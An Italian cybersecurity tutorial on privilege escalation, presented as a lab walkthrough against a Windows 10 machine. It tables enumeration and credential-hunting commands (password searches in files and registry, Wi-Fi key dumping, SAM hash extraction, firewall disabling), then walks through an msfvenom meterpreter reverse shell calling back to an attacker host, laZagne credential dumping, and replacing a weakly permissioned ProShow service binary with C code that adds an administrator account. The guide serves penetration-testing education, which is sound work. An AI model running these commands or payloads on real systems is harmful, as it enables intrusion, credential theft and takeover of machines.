A cura di Vincenzo Digilio – Cyber Security Specialist

Privilege Escalation

 Capitolo VI – Better reign in Hell than serve in heav’n

Questo articolo si ispira al sesto capitolo di “The Fallen Dreams”, il cui titolo risulta particolarmente curioso, poiché tratto dal poema “Il paradiso perduto” di John Milton. La frase che dà origine al titolo: “Better to Reign in Hell, Than Serve in Heav’n” (“Meglio regnare in inferno che servire in paradiso”) incarna lo stato d’animo del diavolo ricacciato all’inferno che, nonostante la sua nuova dimora inospitale, l’olezzo del nuovo ambiente, la grande rabbia che sovrasta tutto e tutti, preferisce comunque questa condizione alla vita in paradiso. La sua ribellione non è un semplice atto di vanità, ma un tentativo di affermazione. Ironicamente, non fa altro che compiere il volere divino, non con stragi o massacri, bensì cedendo tutti i suoi privilegi in cambio di una forma di “libertà”.
Alla fine, il vero inferno è soggettivo.

Privilege Escalation
[ Torna all’indice ]

Il Privilege Escalation è una vera e propria scalata verso un più alto livello di autorizzazioni, all’interno di un dato sistema informatico.

Solitamente, il livello di autorizzazioni ottenuto nella prima fase di accesso al target, non permette di disporre di tutti i dati del sistema. L’attaccante tenterà quindi di sfruttare informazioni sensibili mal custodite, bug, vulnerabilità, servizi mal configurati, errori nella progettazione del Sistema Operativo o del Software stesso, al fine di acquisire il controllo delle risorse e delle informazioni a lui precluse.

Per risalire la china delle autorizzazioni, l’attaccante può intraprendere:

  1. Una scalata verticale, dove un’utenza con bassi privilegi accede a funzioni o informazioni riservate ad utenze con privilegi più alti.
  2. Una scalata orizzontale, dove l’utenza accede a funzioni o informazioni riservate ad altri utenti, aventi i medesimi livelli di autorizzazioni.

Il Privilege Escalation potrebbe essere suddiviso nelle seguenti fasi:

  1. Ricognizione: ricerca, categorizzazione ed enumerazione di tutte le informazioni che riusciamo ad ottenere sul sistema.
  2. Analisi: vaslutazione di tutto ciò che siamo riusciti a trovare nella fase precedente, al fine d’identificare il bug o la falla che potremmo sfruttare.
  3. Caccia: sfruttamento di eventuali falle o vulnerabilità precedentemente identificate, attraverso un exploitation code, ed adattamento del codice preesistente al sistema attuale.
  4. Test: fase in cui viene messo in pratica e verificato ciò che abbiamo appreso dai precedenti step. Se l’esito è negativo, ripartiamo con l’analisi di tutte le nostre informazioni.

I. Ricognizione
[ Torna all’indice ]

L’obiettivo della fase di ricognizione consiste nel raccogliere quante più informazioni possibili sul sistema. Vediamo come ottenerle per i sistemi operativi Windows e Linux.

Nelle Tabelle di seguito, potrete trovare alcuni comandi utili. Tuttavia, allo stesso tempo, vi esorto a cercarne altri e a testare le varie opzioni possibili.

OS WINDOWS

Comando Obiettivo
Info sul Sistema Operativo
systeminfo | findstr /B /C:”OS Name” /C:”OS Version” OS Name e OS Version
wmic qfe Patch e Aggiornamenti
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% Architettura (32/64bit)
set Variabili d’ambiente
User Enumeration
echo %USERNAME% || whoami User Corrente
 whoami /priv Lista dei privilegi
net user Lista di tutti gli utenti
net accounts Requisiti e policy per BruteForce
net user administrator Tutti i dettagli del dato account
net localgroup administrators Tutti i dettagli del dato gruppo
Network Enumeration
ipconfig /all Lista delle Interfacce Network, IP e DNS
route print Route Table
arp -A Tabella ARP
netstat -ano Tutte le connessioni sulla macchina
netsh firewall show state Stato del Firewall
netsh firewall show config Mostra la configurazione del Firewall
netsh firewall set opmode disable Disabilita il Firewall
netsh advfirewall set allprofiles state off Disabilita il Firewall
net share Visualizza tutte le shares
A caccia delle passwords!
cd C:\ & findstr /SI /M “password” *.xml *.ini *.txt Cerchiamo nei file la parola “password”
findstr /si password *.xml *.ini *.txt *.config Cerchiamo nei file la parola “password”
findstr /spin “password” *.* Cerchiamo nei file la parola “password”
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* Cerchiamo i file con un determinato nome
where /R C:\ user.txt Cerchiamo i file con un determinato nome
where /R C:\ *.ini Cerchiamo i file con un determinato nome
REG QUERY HKLM /F “password” /t REG_SZ /S /K Cerchiamo nei registri “password”
REG QUERY HKCU /F “password” /t REG_SZ /S /K Cerchiamo nei registri “password”
netsh wlan show profile Profili (SSID) WiFi
netsh wlan show profile key=clear Leggiamo la password del relativo SSID
Security Account Manager (SAM). E’ il DB dove vengono conservate, in formato hash le varie password.
%SYSTEMROOT%\repair\SAM File Location
%SYSTEMROOT%\System32\config\RegBack\SAM File Location
%SYSTEMROOT%\System32\config\SAM File Location
%SYSTEMROOT%\repair\system File Location
%SYSTEMROOT%\System32\config\SYSTEM File Location
%SYSTEMROOT%\System32\config\RegBack\system File Location
Come generare un hash file per Jhon The Ripper, utilizzando pwddump o samdump
pwdump SYSTEM SAM > /root/sam.txt Generazione del formato hash necessario
samdump2 SYSTEM SAM -o sam.txt Generazione del formato hash necessario

Per effettuare un Privilege Escalation sui sistemi Windows, potremmo ricorrere a diverse tecniche:

– Credenziali Memorizzate sulla macchina: nomi utente e password salvate in chiaro sulla macchina.

– Windows Kernel Exploitation: il sistema potrebbe non essere aggiornato ed essere esposto a diverse vulnerabilità.

– DLL Hijacking: è l’esecuzione del codice malevolo all’interno di altri processi e programmi.

– Unquoted Service Paths: quando viene creato un servizio il cui percorso eseguibile contiene spazi e non è racchiuso tra virgolette si verifica una vulnerabilità nota come “Unquoted Service Paths”, che consente ad un utente di utilizzare tecniche di Privilege Escalation.

– Weak Folder Permissions: cartelle del sistema con privilegi mal configurati.

– Weak Service Permissions: servizi con privilegi mal configurati ed accessibili a tutti gli utenti del sistema.

– Weak Registry Permission: un malintenzionato potrebbe, ad esempio, eseguire il proprio codice malevolo manipolando un dato registro che presenta diverse debolezze a livello di permessi.

OS LINUX

Con il sistema operativo Linux la situazione è un po’ diversa, poiché diverse interrogazioni richiedono privilegi elevati. Vediamo di seguito qualche comando utile al nostro scopo:

Comando Obiettivo
Info sul Sistema Operativo
cat /proc/version Versione del Kernel
uname -a Dettagli come SO, Versione, Archittettura
(env || set) 2>/dev/null Informazioni sull’Enviroment
cat /etc/*-release Distro e Versione
Enumeration di Servizi e Applicazioni
ps aux Servizi in running e user-context
ps -af Versione dei servizi
ls -alh /usr/bin/ Applicazioni Installate
pkginfo Solaris: Applicazioni Installate
pacman -Q Arch Linux: Applicazioni Installate
ls -aRl /etc/ File letti/scritti nella cartella /etc/
ls -alh /var/ Contenuto in /var/
Configurazioni di rete
netstat Visualizza le connessioni
/sbin/ifconfig -a Lista delle Interfacce Network
Enumeration del File System
echo $PATH visualizza contenuto variabile PATH
mount lista dei FS montati
A caccia delle passwords!
grep –color=auto -rnw ‘/’ -ie “PASSWORD” –color=always 2> /dev/null File contenti “password”
find . -type f -exec grep -i -I “PASSWORD” {} /dev/null \; File contenti “password”
/etc/security/opasswd Old password cronologia
strings /dev/mem -n10 | grep -i PASS Password in memoria
locate password | more File Sensibili
/boot/grub/i386-pc/password.mod File Sensibili
/etc/pam.d/common-password File Sensibili
/etc/pam.d/gdm-password File Sensibili
/etc/pam.d/gdm-password.original File Sensibili
/lib/live/config/0031-root-password File Sensibili
cat /etc/apache2/apache2.conf Miss Configurazioni / Password
cat /etc/httpd/conf/httpd.conf Miss Configurazioni / Password
cat /opt/lampp/etc/httpd.conf Miss Configurazioni / Password
cat /etc/php5/apache2/php.ini Miss Configurazioni / Password
find / -mmin -10 2>/dev/null | grep -Ev “^/proc” File modificati negli ultimi 10 minuti
SSH Key
find / -name authorized_keys 2> /dev/null Sensitive SSH Key
find / -name id_rsa 2> /dev/null Sensitive SSH Key

Potremmo anche scegliere di avvalerci di programmi che eseguono in maniera automatica operazioni di ricognizione/enumeration, come:

  • Windows: PowerUp, WindowsPrivCheck, BeRoot, laZagne.
  • Linux: LinEnum, Linux-Local-Enumeration-script, linuxprivchecker.

Noi ne utilizzeremo uno per Windows, chiamato laZagne.

Per prima cosa, scarichiamo il tool che utilizzeremo lazagne.exe al seguente link:

https://github.com/AlessandroZ/LaZagne/releases/

wget https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe

Infettiamo la nostra macchina Windows 10 64 bit, in maniera molto semplice:

TARGET: 192.168.1.23 – Windows 10x64bit

ATTACCANTE: 192.168.1.22 – Kali Linux

1- Generiamo il nostro file malevolo .exe utilizzando msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.22 -f exe > /var/www/html/mal.exe 

2- Avviamo il servizio apache2: service apache2 start
3- Lanciamo la Msfconsole tramite il comando: msfconsole
4- Avviamo il listener:

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
exploit

5- Portiamoci sulla macchina vittima e scarichiamo il file malevolo che abbiamo creato al punto 1:

http://192.168.1.23/mal.exe

Poi, clicchiamo ed avviamolo.

6- Torniamo sulla nostra macchina attaccante, su cui avremo ottenuto la Reverse Shell:

A questo punto, comincia la fase di Privilege Escalation.

7- Facciamo l’upload del file lazagne.exe all’interno della nostra macchina vittima:

        upload lazagne.exe


8- Utilizziamo il comando shell:

shell

9- Avviamo il nostro file .exe appena caricato con l’opzione –h per visualizzare le varie possibilità:

lazagne.exe -h

10- Non ci rimane che avviare il tool scegliendo fra le opzioni che abbiamo visualizzato. Nel mio caso, lo avvierò con tutte le opzioni, specificando maggiori dettagli nell’output.

lazagne.exe all -v

II. Analisi
[ Torna all’indice ]

Analizziamo adesso tutto ciò che siamo riusciti a trovare in questa prima fase di ricognizione.

Se siamo stati fortunati, potremmo aver trovato direttamente alcune password memorizzate in locale o alcuni hash da craccare.

Potremmo anche aver trovato un servizio vulnerabile, appartenente a qualche programma preinstallato dall’Amministratore di Sistema: ad esempio, la versione del programma “ProShow v9.0.3797”, scaricabile da internet con la banale chiave di ricerca “Download ProShow”.

Utilizzando il comando wmic, diamo un’occhiata ai servizi presenti sulla macchina e al loro stato:

wmic service list brief.

Il programma installa all’interno del local SYSTEM account il seguente servizio ScsiAccess, che richiede il reboot della macchina al termine dell’installazione.

Il file ScsiAccess.exe, a cui punta il servizio, si trova nella cartella:

C:\Program Files (x86)\Photodex\ProShow Producer\

Ma ora, analizziamo più da vicino i permessi dell’eseguibile, navigando sino alla cartella.

[DOMINIO] \ [UTENTE o GRUPPO]: (Autorizzazioni)

  • I: Autorizzazione ereditata dal “contenitore padre”.
  • F: indica accesso completo.
  • RX: accesso in lettura ed esecuzione.
  • CI: ereditato dai “sotto-contenitori” collocati in questo “contenitore”.

Il file ha permessi Everyone, cioè tutti gli utenti hanno accesso completo (F).

III. Caccia
[ Torna all’indice ]

Ciò che faremo adesso, è sfruttare il servizio mal configurato per eseguire un Privilege Escalation ed aggiungere il nostro utente al gruppo degli amministratori. Per fare questo, avremo bisogno di qualche riga di codice in C.

Torniamo sulla nostra macchina attaccante ed una volta aperto il terminale utilizziamo vim per scrivere il nostro codice:

vim aggutente.c

Scriviamo il seguente codice, passando alla modalità insert (schiacciando i).

La riga numero 5 è sostanzialmente il nostro programma: net localgroup administrators buffer /add .

Aggiungiamo l’account utente di nome “buffer” al gruppo degli amministratori locali della macchina.

Salviamo ed usciamo, premendo ESC e digitando: wq .

A questo punto, compiliamo il nostro programma utilizzando mingw32-gcc (64bit):

x86_64-w64-mingw32-gcc aggutente.c -o scsiaccess.exe #64bit

i686-w64-mingw32-gcc aggutente.c -o scsiaccess.exe #32bit

  • x86_64-w64-mingw32-gcc : è il nostro compilatore – 64bit
  • c : è il nome del programma in C da compilare
  • -o : opzione di specifica del file di output
  • exe : è il nome del nostro programma C compilato, in formato eseguibile

Nota: se mingw non fosse presente, potremo installarlo utilizzando il comando seguente

sudo apt-get install mingw-w64

IV. Test
[ Torna all’indice ]

Adesso, ciò che faremo sarà sostituire il vero file sciaccess.exe con il nostro omonimo programma C (compilato) e riavviare il servizio.

Rechiamoci nella cartella in cui è contenuto il file originale:

C:\Program Files (x86)\Photodex\ProShow Producer\

Rinominiamo il file scsiaccess.exe_originale e copiamo all’interno della cartella il nostro programma in C, che ha il medesimo nome del file.

Riavviamo il sistema oppure facciamo ripartire il servizio utilizzando il comando:

net stop [nome del servizio] && net start [nome del servizio]

A questo punto, analizziamo ciò che succederà al prossimo riavvio: il servizio del programma tenterà di eseguire il file scsiaccess.exe (originale), ma questa volta eseguirà il nostro programma in C, lanciando il comando per aggiungerci nel gruppo degli amministratori e farci diventare a tutti gli effetti admin della macchina.